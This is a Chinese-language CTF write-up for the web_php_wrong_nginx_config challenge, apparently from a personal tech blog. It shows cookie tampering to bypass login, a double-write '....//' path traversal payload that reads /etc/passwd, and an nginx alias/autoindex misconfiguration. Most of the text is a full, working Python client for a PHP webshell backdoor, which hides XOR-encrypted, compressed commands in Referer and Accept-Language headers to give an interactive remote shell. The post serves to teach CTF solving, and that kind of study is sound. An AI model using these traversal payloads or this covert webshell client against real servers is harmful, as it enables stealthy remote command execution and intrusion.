您现在的位置是:首页 >技术交流 >攻防世界:web_php_wrong_nginx_config网站首页技术交流
攻防世界:web_php_wrong_nginx_config
打开页面是个登陆页面,没有注册选项,那就弱密码,admin,123456
但是发现他会显示网站现在建设中,扫描一下后台目录;
扫描目录发现:robots.php
发现有两个文件,hint.php 和 hack.php
访问/hint.php 显示了配置问价有问题;
现在用不到,放着,继续看看hack.php;
显示请登陆;但是发现登陆不了,抓包看看,发现islogin=0,改成1的话 ,可以成功登陆了。
发现你有了一个这样的页面,我的想法是点击管理中心看看。
url改变了,file里面传递文件名,e x t传递文件后缀名。进行目录穿越到网站的根目录就好。但是这里有趣的事情发生了,就是我的穿越payload 不起效,http://61.147.171.105:49817/admin/admin.php?file=../../../../../../../etc/passwd&ext=
我把我的payload改成?file=../index&ect=php,还是没有报错,这个不应该,除非上级有一摸一样的文件,但是可能性不是很大,我就猜../被过滤了。我想到用双写绕过:
pyaload是:http://61.147.171.105:49817/admin/admin.php?file=....//....//....//....//etc/passwd&ext=

这个看着也很难受,就用工具格式话一下,
location ~ /. {
log_not_found off; deny all;
}
location /web-img {
alias /images/; autoindex on;
}
location ~* .(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}
关键的部分是
location /web-img {
alias /images/; autoindex on;
}
目录浏览功能是开着的,可以看到可以访问images目录,
然后开始查找敏感文件:
我真的看不下去了,看了wp,发现,哟一个hack.php的备份文件;后面就是跑脚本,加载一句话木马,很新颖的加载方式,在kali试了一下,
这里给出大佬的脚本:
# encoding: utf-8
from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq, amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0, length - 1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0, 255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text, key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt < lenTxt and iKey < lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:52208/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes) + 1 + randint(0, 2)):
key = randAlpha(randint(3, 6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload, xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2, len(payload) - 3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0], payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output, xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
我在kali上面运行了一下,拿下!!
我真的还不明白为啥大佬等直接找到hack.php这个文件,还有很新颖的一点就是通过甲苯加载一句话木马。